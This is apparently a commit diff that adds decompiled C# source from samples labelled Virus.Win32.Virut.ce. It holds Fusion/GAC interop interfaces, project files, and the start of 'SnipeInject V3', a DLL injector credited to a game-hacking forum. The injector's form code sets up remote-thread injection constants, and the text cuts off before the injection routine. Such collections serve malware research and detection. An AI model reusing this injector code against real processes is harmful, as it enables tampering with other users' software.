int CreateAssemblyScavenger([MarshalAs(UnmanagedType.IUnknown)] out object ppAsmScavenger);
[MethodImpl(MethodImplOptions.PreserveSig)]
int InstallAssembly(
uint dwFlags,
[MarshalAs(UnmanagedType.LPWStr)] string pszManifestFilePath,
[MarshalAs(UnmanagedType.LPArray)] FUSION_INSTALL_REFERENCE[] pRefData);
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IAssemblyCacheItem.cs
+29
View File
@@ -0,0 +1,29 @@
// Decompiled with JetBrains decompiler
// Type: MsGac.Fusion.Native.IAssemblyCacheItem
// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null
// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe
using System.Runtime.InteropServices;
using System.Runtime.InteropServices.ComTypes;
namespace MsGac.Fusion.Native
{
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
[Guid("9E3AAEB4-D1CD-11D2-BAB9-00C04F8ECEAE")]
[ComImport]
internal interface IAssemblyCacheItem
{
void CreateStream(
uint dwFlags,
[MarshalAs(UnmanagedType.LPWStr)] string pszStreamName,
uint dwFormat,
uint dwFormatFlags,
out IStream ppIStream,
ref long puliMaxSize);
void Commit(uint dwFlags, out long pulDisposition);
void AbortItem();
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IAssemblyEnum.cs
+27
View File
@@ -0,0 +1,27 @@
// Decompiled with JetBrains decompiler
// Type: MsGac.Fusion.Native.IAssemblyEnum
// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null
// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace MsGac.Fusion.Native
{
[Guid("21B8916C-F28E-11D2-A473-00C04F8EF448")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
[ComImport]
internal interface IAssemblyEnum
{
[MethodImpl(MethodImplOptions.PreserveSig)]
int GetNextAssembly(IntPtr pvReserved, out IAssemblyName ppName, uint dwFlags);
[MethodImpl(MethodImplOptions.PreserveSig)]
int Reset();
[MethodImpl(MethodImplOptions.PreserveSig)]
int Clone(out IAssemblyEnum ppEnum);
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IAssemblyName.cs
+57
View File
@@ -0,0 +1,57 @@
// Decompiled with JetBrains decompiler
// Type: MsGac.Fusion.Native.IAssemblyName
// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null
// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;
namespace MsGac.Fusion.Native
{
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
[Guid("CD193BC0-B4BC-11D2-9833-00C04FC31D2E")]
[ComImport]
internal interface IAssemblyName
{
[MethodImpl(MethodImplOptions.PreserveSig)]
int SetProperty(ASM_NAME PropertyId, IntPtr pvProperty, uint cbProperty);
[MethodImpl(MethodImplOptions.PreserveSig)]
int GetProperty(ASM_NAME PropertyId, IntPtr pvProperty, ref uint pcbProperty);
[MethodImpl(MethodImplOptions.PreserveSig)]
int Finalize();
[MethodImpl(MethodImplOptions.PreserveSig)]
int GetDisplayName(
[MarshalAs(UnmanagedType.LPWStr), Out] StringBuilder szDisplayName,
ref uint pccDisplayName,
ASM_DISPLAY_FLAGS dwDisplayFlags);
[MethodImpl(MethodImplOptions.PreserveSig)]
int BindToObject(
ref Guid refIID,
[MarshalAs(UnmanagedType.IUnknown)] object pUnkSink,
[MarshalAs(UnmanagedType.IUnknown)] object pUnkContext,
[MarshalAs(UnmanagedType.LPWStr)] string szCodeBase,
long llFlags,
IntPtr pvReserved,
uint cbReserved,
out IntPtr ppv);
[MethodImpl(MethodImplOptions.PreserveSig)]
int GetName(ref uint lpcwBuffer, [MarshalAs(UnmanagedType.LPWStr), Out] StringBuilder pwzName);
[MethodImpl(MethodImplOptions.PreserveSig)]
int GetVersion(out uint pdwVersionHi, out uint pdwVersionLow);
[MethodImpl(MethodImplOptions.PreserveSig)]
int IsEqual(IAssemblyName pName, ASM_CMP_FLAGS dwCmpFlags);
[MethodImpl(MethodImplOptions.PreserveSig)]
int Clone(out IAssemblyName pName);
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IHistoryReader.cs
+41
View File
@@ -0,0 +1,41 @@
// Decompiled with JetBrains decompiler
// Type: MsGac.Fusion.Native.IHistoryReader
// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null
// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;
namespace MsGac.Fusion.Native
{
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
[Guid("1D23DF4D-A1E2-4B8B-93D6-6EA3DC285A54")]
[ComImport]
internal interface IHistoryReader
{
[MethodImpl(MethodImplOptions.PreserveSig)]
int GetFilePath([MarshalAs(UnmanagedType.LPWStr), Out] StringBuilder wzFilePath, ref uint pdwSize);
[MethodImpl(MethodImplOptions.PreserveSig)]
int GetApplicationName([MarshalAs(UnmanagedType.LPWStr), Out] StringBuilder wzAppName, ref uint pdwSize);
[MethodImpl(MethodImplOptions.PreserveSig)]
int GetEXEModulePath([MarshalAs(UnmanagedType.LPWStr), Out] StringBuilder wzExePath, ref uint pdwSize);
void GetNumActivations(out uint pdwNumActivations);
void GetActivationDate(uint dwIdx, out long pftDate);
[MethodImpl(MethodImplOptions.PreserveSig)]
int GetRunTimeVersion(
ref long pftActivationDate,
[MarshalAs(UnmanagedType.LPWStr), Out] StringBuilder wzRunTimeVersion,
ref uint pdwSize);
void GetNumAssemblies(ref long pftActivationDate, out uint pdwNumAsms);
void GetHistoryAssembly(ref long pftActivationDate, uint dwIdx, [MarshalAs(UnmanagedType.IUnknown)] out object ppHistAsm);
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IInstallReferenceEnum.cs
+24
View File
@@ -0,0 +1,24 @@
// Decompiled with JetBrains decompiler
// Type: MsGac.Fusion.Native.IInstallReferenceEnum
// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null
// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace MsGac.Fusion.Native
{
[Guid("56b1a988-7c0c-4aa2-8639-c3eb5a90226f")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
[ComImport]
internal interface IInstallReferenceEnum
{
[MethodImpl(MethodImplOptions.PreserveSig)]
int GetNextInstallReferenceItem(
out IInstallReferenceItem ppRefItem,
uint dwFlags,
IntPtr pvReserved);
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IInstallReferenceItem.cs
+21
View File
@@ -0,0 +1,21 @@
// Decompiled with JetBrains decompiler
// Type: MsGac.Fusion.Native.IInstallReferenceItem
// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null
// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace MsGac.Fusion.Native
{
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
[Guid("582dac66-e678-449f-aba6-6faaec8a9394")]
[ComImport]
internal interface IInstallReferenceItem
{
[MethodImpl(MethodImplOptions.PreserveSig)]
int GetReference(out IntPtr ppRefData, uint dwFlags, IntPtr pvReserved);
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/Virus.Win32.Virut.ce.csproj
+63
View File
@@ -0,0 +1,63 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{BBF41E26-6C2F-451D-BB87-A53058B4810F}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>CCCInstall</AssemblyName>
<ApplicationVersion>2.0.3163.17516</ApplicationVersion>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.EnterpriseServices" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="ATI\ACE\CCCInstall\Action.cs" />
<Compile Include="ATI\ACE\CCCInstall\CCCInstall.cs" />
<Compile Include="ATI\ACE\CCCInstall\CCCInstallLog.cs" />
<Compile Include="ATI\ACE\CCCInstall\Tasks\BaseTask.cs" />
<Compile Include="ATI\ACE\CCCInstall\Tasks\ITask.cs" />
<Compile Include="ATI\ACE\CCCInstall\Tasks\VersionTasks.cs" />
<Compile Include="ATI\ACE\CCCInstall\Tasks\RegistryTasks.cs" />
<Compile Include="ATI\ACE\CCCInstall\Tasks\GACTasks.cs" />
<Compile Include="ATI\ACE\CCCInstall\Tasks\NgenTasks.cs" />
<Compile Include="MsGac\Fusion\Native\ASM_CACHE_FLAGS.cs" />
<Compile Include="MsGac\Fusion\Native\ASM_DISPLAY_FLAGS.cs" />
<Compile Include="MsGac\Fusion\Native\ASM_CMP_FLAGS.cs" />
<Compile Include="MsGac\Fusion\Native\FUSION_INSTALL_REFERENCE.cs" />
<Compile Include="MsGac\Fusion\Native\ASSEMBLY_INFO.cs" />
<Compile Include="MsGac\Fusion\Native\IAssemblyCache.cs" />
<Compile Include="MsGac\Fusion\Native\IAssemblyCacheItem.cs" />
<Compile Include="MsGac\Fusion\Native\ASM_NAME.cs" />
<Compile Include="MsGac\Fusion\Native\IAssemblyName.cs" />
<Compile Include="MsGac\Fusion\Native\IAssemblyEnum.cs" />
<Compile Include="MsGac\Fusion\Native\IHistoryReader.cs" />
<Compile Include="MsGac\Fusion\Native\IInstallReferenceItem.cs" />
<Compile Include="MsGac\Fusion\Native\IInstallReferenceEnum.cs" />
<Compile Include="MsGac\Fusion\Native\FusionApi.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/Virus.Win32.Virut.ce.sln
+20
View File
@@ -0,0 +1,20 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CCCInstall", "Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.csproj", "{BBF41E26-6C2F-451D-BB87-A53058B4810F}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{BBF41E26-6C2F-451D-BB87-A53058B4810F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{BBF41E26-6C2F-451D-BB87-A53058B4810F}.Debug|Any CPU.Build.0 = Debug|Any CPU
{BBF41E26-6C2F-451D-BB87-A53058B4810F}.Release|Any CPU.ActiveCfg = Release|Any CPU
{BBF41E26-6C2F-451D-BB87-A53058B4810F}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/AssemblyInfo.cs
+13
View File
@@ -0,0 +1,13 @@
using System.Reflection;
using System.Runtime.InteropServices;
[assembly: AssemblyProduct("SnipeInject V3")]
[assembly: AssemblyTitle("SnipeInject V3")]
[assembly: AssemblyCopyright("Copyright © Microsoft 2011")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCompany("Microsoft")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: Guid("f3ae72cf-6018-44b6-8385-583ad3467732")]
[assembly: ComVisible(false)]
[assembly: AssemblyVersion("1.0.0.0")]
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/Form1.cs
+752
View File
@@ -0,0 +1,752 @@
// Decompiled with JetBrains decompiler
// Type: SnipeInject_V3.Form1
// Assembly: SnipeInject V3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 4B17C691-AC0C-43B1-A878-F82F3184CC13
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace SnipeInject_V3
{
[DesignerGenerated]
public class Form1 : Form
{
private static List<WeakReference> __ENCList = new List<WeakReference>();
private IContainer components;
[AccessedThroughProperty("Label2")]
private Label _Label2;
[AccessedThroughProperty("Label4")]
private Label _Label4;
[AccessedThroughProperty("TextBox1")]
private TextBox _TextBox1;
[AccessedThroughProperty("Timer1")]
private Timer _Timer1;
[AccessedThroughProperty("OpenFileDialog1")]
private OpenFileDialog _OpenFileDialog1;
[AccessedThroughProperty("Dlls")]
private ListBox _Dlls;
[AccessedThroughProperty("CheckBox1")]
private CheckBox _CheckBox1;
[AccessedThroughProperty("CheckBox2")]
private CheckBox _CheckBox2;
[AccessedThroughProperty("CheckBox3")]
private CheckBox _CheckBox3;
[AccessedThroughProperty("Button1")]
private Button _Button1;
[AccessedThroughProperty("Button2")]
private Button _Button2;
[AccessedThroughProperty("Button3")]
private Button _Button3;
[AccessedThroughProperty("Button4")]
private Button _Button4;
[AccessedThroughProperty("GroupBox1")]
private GroupBox _GroupBox1;
[AccessedThroughProperty("GroupBox2")]
private GroupBox _GroupBox2;
[AccessedThroughProperty("Label6")]
private Label _Label6;
[AccessedThroughProperty("Label1")]
private Label _Label1;
private int TargetProcessHandle;
private int pfnStartAddr;
private string pszLibFileRemote;
private int TargetBufferSize;
public const int PROCESS_VM_READ = 16;
public const int TH32CS_SNAPPROCESS = 2;
public const int MEM_COMMIT = 4096;
public const int PAGE_READWRITE = 4;
public const int PROCESS_CREATE_THREAD = 2;
public const int PROCESS_VM_OPERATION = 8;
public const int PROCESS_VM_WRITE = 32;
private string DLLFileName;
private string ExeName;
[DebuggerNonUserCode]
static Form1()
{
}
public Form1()
{
this.Load += new EventHandler(this.Form1_Load);
Form1.__ENCAddToList((object) this);
this.ExeName = Path.GetFileNameWithoutExtension(Application.ExecutablePath);
this.InitializeComponent();
}
[DebuggerNonUserCode]
private static void __ENCAddToList(object value)
{
lock (Form1.__ENCList)
{
if (Form1.__ENCList.Count == Form1.__ENCList.Capacity)
{
int index1 = 0;
int num = checked (Form1.__ENCList.Count - 1);
int index2 = 0;
while (index2 <= num)
{
if (Form1.__ENCList[index2].IsAlive)
{
if (index2 != index1)
Form1.__ENCList[index1] = Form1.__ENCList[index2];
checked { ++index1; }
}
checked { ++index2; }
}
Form1.__ENCList.RemoveRange(index1, checked (Form1.__ENCList.Count - index1));
Form1.__ENCList.Capacity = Form1.__ENCList.Count;
}
Form1.__ENCList.Add(new WeakReference(RuntimeHelpers.GetObjectValue(value)));
}
}
[DebuggerNonUserCode]
protected override void Dispose(bool disposing)
{
try
{
if (!disposing || this.components == null)
return;
this.components.Dispose();
}
finally
{
base.Dispose(disposing);
}
}
[DebuggerStepThrough]
private void InitializeComponent()
{
this.components = (IContainer) new System.ComponentModel.Container();
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (Form1));
this.Label2 = new Label();
this.Label4 = new Label();
this.TextBox1 = new TextBox();
this.Timer1 = new Timer(this.components);
this.OpenFileDialog1 = new OpenFileDialog();
this.Dlls = new ListBox();
this.CheckBox1 = new CheckBox();
this.CheckBox2 = new CheckBox();
this.CheckBox3 = new CheckBox();
this.Button1 = new Button();
this.Button2 = new Button();
this.Button3 = new Button();
this.Button4 = new Button();
this.GroupBox1 = new GroupBox();
this.GroupBox2 = new GroupBox();
this.Label6 = new Label();
this.Label1 = new Label();
this.GroupBox1.SuspendLayout();
this.SuspendLayout();
this.Label2.AutoSize = true;
Label label2_1 = this.Label2;
Point point1 = new Point(22, 187);
Point point2 = point1;
label2_1.Location = point2;
this.Label2.Name = "Label2";
Label label2_2 = this.Label2;
Size size1 = new Size(30, 13);
Size size2 = size1;
label2_2.Size = size2;
this.Label2.TabIndex = 1;
this.Label2.Text = "DLL:";
this.Label4.AutoSize = true;
this.Label4.ForeColor = Color.Teal;
Label label4_1 = this.Label4;
point1 = new Point(13, 26);
Point point3 = point1;
label4_1.Location = point3;
this.Label4.Name = "Label4";
Label label4_2 = this.Label4;
size1 = new Size(40, 13);
Size size3 = size1;
label4_2.Size = size3;
this.Label4.TabIndex = 3;
this.Label4.Text = "Status:";
TextBox textBox1_1 = this.TextBox1;
point1 = new Point(92, 160);
Point point4 = point1;
textBox1_1.Location = point4;
this.TextBox1.Name = "TextBox1";
TextBox textBox1_2 = this.TextBox1;
size1 = new Size(148, 20);
Size size4 = size1;
textBox1_2.Size = size4;
this.TextBox1.TabIndex = 4;
this.OpenFileDialog1.FileName = "OpenFileDialog1";
this.OpenFileDialog1.Multiselect = true;
this.Dlls.FormattingEnabled = true;
ListBox dlls1 = this.Dlls;
point1 = new Point(92, 187);
Point point5 = point1;
dlls1.Location = point5;
this.Dlls.Name = "Dlls";
ListBox dlls2 = this.Dlls;
size1 = new Size(148, 134);
Size size5 = size1;
dlls2.Size = size5;
this.Dlls.TabIndex = 5;
this.CheckBox1.AutoSize = true;
CheckBox checkBox1_1 = this.CheckBox1;
point1 = new Point(17, 19);
Point point6 = point1;
checkBox1_1.Location = point6;
this.CheckBox1.Name = "CheckBox1";
CheckBox checkBox1_2 = this.CheckBox1;
size1 = new Size(135, 20);
Size size6 = size1;
checkBox1_2.Size = size6;
this.CheckBox1.TabIndex = 6;
this.CheckBox1.Text = "Close After Injection";
this.CheckBox1.UseVisualStyleBackColor = true;
this.CheckBox2.AutoSize = true;
CheckBox checkBox2_1 = this.CheckBox2;
point1 = new Point(17, 42);
Point point7 = point1;
checkBox2_1.Location = point7;
this.CheckBox2.Name = "CheckBox2";
CheckBox checkBox2_2 = this.CheckBox2;
size1 = new Size(130, 20);
Size size7 = size1;
checkBox2_2.Size = size7;
this.CheckBox2.TabIndex = 7;
this.CheckBox2.Text = "Automatic Injection";
this.CheckBox2.UseVisualStyleBackColor = true;
this.CheckBox3.AutoSize = true;
CheckBox checkBox3_1 = this.CheckBox3;
point1 = new Point(17, 65);
Point point8 = point1;
checkBox3_1.Location = point8;
this.CheckBox3.Name = "CheckBox3";
CheckBox checkBox3_2 = this.CheckBox3;
size1 = new Size(115, 20);
Size size8 = size1;
checkBox3_2.Size = size8;
this.CheckBox3.TabIndex = 8;
this.CheckBox3.Text = "Manual Injection";
this.CheckBox3.UseVisualStyleBackColor = true;
Button button1_1 = this.Button1;
point1 = new Point(12, 218);
Point point9 = point1;
button1_1.Location = point9;
this.Button1.Name = "Button1";
Button button1_2 = this.Button1;
size1 = new Size(75, 23);
Size size9 = size1;
button1_2.Size = size9;
this.Button1.TabIndex = 9;
this.Button1.Text = "Browse";
this.Button1.UseVisualStyleBackColor = true;
Button button2_1 = this.Button2;
point1 = new Point(11, 247);
Point point10 = point1;
button2_1.Location = point10;
this.Button2.Name = "Button2";
Button button2_2 = this.Button2;
size1 = new Size(75, 23);
Size size10 = size1;
button2_2.Size = size10;
this.Button2.TabIndex = 10;
this.Button2.Text = "Clear";
this.Button2.UseVisualStyleBackColor = true;
Button button3_1 = this.Button3;
point1 = new Point(11, 276);
Point point11 = point1;
button3_1.Location = point11;
this.Button3.Name = "Button3";
Button button3_2 = this.Button3;
size1 = new Size(75, 45);
Size size11 = size1;
button3_2.Size = size11;
this.Button3.TabIndex = 11;
this.Button3.Text = "Clear Selected";
this.Button3.UseVisualStyleBackColor = true;
Button button4_1 = this.Button4;
point1 = new Point(128, 327);
Point point12 = point1;
button4_1.Location = point12;
this.Button4.Name = "Button4";
Button button4_2 = this.Button4;
size1 = new Size(75, 36);
Size size12 = size1;
button4_2.Size = size12;
this.Button4.TabIndex = 12;
this.Button4.Text = "Inject";
this.Button4.UseVisualStyleBackColor = true;
this.GroupBox1.BackColor = Color.Transparent;
this.GroupBox1.Controls.Add((Control) this.CheckBox1);
this.GroupBox1.Controls.Add((Control) this.CheckBox2);
this.GroupBox1.Controls.Add((Control) this.CheckBox3);
this.GroupBox1.Font = new Font("Arial Narrow", 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.GroupBox1.ForeColor = Color.DarkOrange;
GroupBox groupBox1_1 = this.GroupBox1;
point1 = new Point(246, 236);
Point point13 = point1;
groupBox1_1.Location = point13;
this.GroupBox1.Name = "GroupBox1";
GroupBox groupBox1_2 = this.GroupBox1;
size1 = new Size(150, 116);
Size size13 = size1;
groupBox1_2.Size = size13;
this.GroupBox1.TabIndex = 13;
this.GroupBox1.TabStop = false;
this.GroupBox1.Text = "Settings";
this.GroupBox2.BackColor = Color.Transparent;
this.GroupBox2.Font = new Font("Arial Narrow", 9f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
GroupBox groupBox2_1 = this.GroupBox2;
point1 = new Point(246, 155);
Point point14 = point1;
groupBox2_1.Location = point14;
this.GroupBox2.Name = "GroupBox2";
GroupBox groupBox2_2 = this.GroupBox2;
size1 = new Size(152, 75);
Size size14 = size1;
groupBox2_2.Size = size14;
this.GroupBox2.TabIndex = 14;
this.GroupBox2.TabStop = false;
this.GroupBox2.Text = "Credits: Snipermon For MPGH";
this.Label6.AutoSize = true;
Label label6_1 = this.Label6;
point1 = new Point(22, 163);
Point point15 = point1;
label6_1.Location = point15;
this.Label6.Name = "Label6";
Label label6_2 = this.Label6;
size1 = new Size(48, 13);
Size size15 = size1;
label6_2.Size = size15;
this.Label6.TabIndex = 16;
this.Label6.Text = "Process:";
this.Label1.AutoSize = true;
Label label1_1 = this.Label1;
point1 = new Point(68, 26);
Point point16 = point1;
label1_1.Location = point16;
this.Label1.Name = "Label1";
Label label1_2 = this.Label1;
size1 = new Size(0, 13);
Size size16 = size1;
label1_2.Size = size16;
this.Label1.TabIndex = 17;
this.AutoScaleDimensions = new SizeF(6f, 13f);
this.AutoScaleMode = AutoScaleMode.Font;
this.BackgroundImage = (Image) componentResourceManager.GetObject("$this.BackgroundImage");
this.BackgroundImageLayout = ImageLayout.Stretch;
size1 = new Size(401, 371);
this.ClientSize = size1;
this.Controls.Add((Control) this.Label1);
this.Controls.Add((Control) this.Label6);
this.Controls.Add((Control) this.GroupBox2);
this.Controls.Add((Control) this.GroupBox1);
this.Controls.Add((Control) this.Button4);
this.Controls.Add((Control) this.Button3);
this.Controls.Add((Control) this.Button2);
this.Controls.Add((Control) this.Button1);
this.Controls.Add((Control) this.Dlls);
this.Controls.Add((Control) this.TextBox1);
this.Controls.Add((Control) this.Label4);
this.Controls.Add((Control) this.Label2);
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
this.MaximizeBox = false;
this.Name = nameof (Form1);
this.Text = "SnipeInject V3";
this.GroupBox1.ResumeLayout(false);
this.GroupBox1.PerformLayout();
this.ResumeLayout(false);
this.PerformLayout();
}
internal virtual Label Label2
{
[DebuggerNonUserCode] get => this._Label2;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label2 = value;
}
internal virtual Label Label4
{
[DebuggerNonUserCode] get => this._Label4;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label4 = value;
}
internal virtual TextBox TextBox1
{
[DebuggerNonUserCode] get => this._TextBox1;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value;
}
internal virtual Timer Timer1
{
[DebuggerNonUserCode] get => this._Timer1;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
{
EventHandler eventHandler = new EventHandler(this.Timer1_Tick);
if (this._Timer1 != null)
this._Timer1.Tick -= eventHandler;
this._Timer1 = value;
if (this._Timer1 == null)
return;
this._Timer1.Tick += eventHandler;
}
}
internal virtual OpenFileDialog OpenFileDialog1
{
[DebuggerNonUserCode] get => this._OpenFileDialog1;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
{
CancelEventHandler cancelEventHandler = new CancelEventHandler(this.OpenFileDialog1_FileOk);
if (this._OpenFileDialog1 != null)
this._OpenFileDialog1.FileOk -= cancelEventHandler;
this._OpenFileDialog1 = value;
if (this._OpenFileDialog1 == null)
return;
this._OpenFileDialog1.FileOk += cancelEventHandler;
}
}
internal virtual ListBox Dlls
{
[DebuggerNonUserCode] get => this._Dlls;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Dlls = value;
}
internal virtual CheckBox CheckBox1
{
[DebuggerNonUserCode] get => this._CheckBox1;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._CheckBox1 = value;
}
internal virtual CheckBox CheckBox2
{
[DebuggerNonUserCode] get => this._CheckBox2;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
{
EventHandler eventHandler = new EventHandler(this.CheckBox2_CheckedChanged);
if (this._CheckBox2 != null)
this._CheckBox2.CheckedChanged -= eventHandler;
this._CheckBox2 = value;
if (this._CheckBox2 == null)
return;
this._CheckBox2.CheckedChanged += eventHandler;
}
}
internal virtual CheckBox CheckBox3
{
[DebuggerNonUserCode] get => this._CheckBox3;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
{
EventHandler eventHandler = new EventHandler(this.CheckBox3_CheckedChanged);
if (this._CheckBox3 != null)
this._CheckBox3.CheckedChanged -= eventHandler;
this._CheckBox3 = value;
if (this._CheckBox3 == null)
return;
this._CheckBox3.CheckedChanged += eventHandler;
}
}
internal virtual Button Button1
{
[DebuggerNonUserCode] get => this._Button1;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
{
EventHandler eventHandler = new EventHandler(this.Button1_Click);
if (this._Button1 != null)
this._Button1.Click -= eventHandler;
this._Button1 = value;
if (this._Button1 == null)
return;
this._Button1.Click += eventHandler;
}
}
internal virtual Button Button2
{
[DebuggerNonUserCode] get => this._Button2;
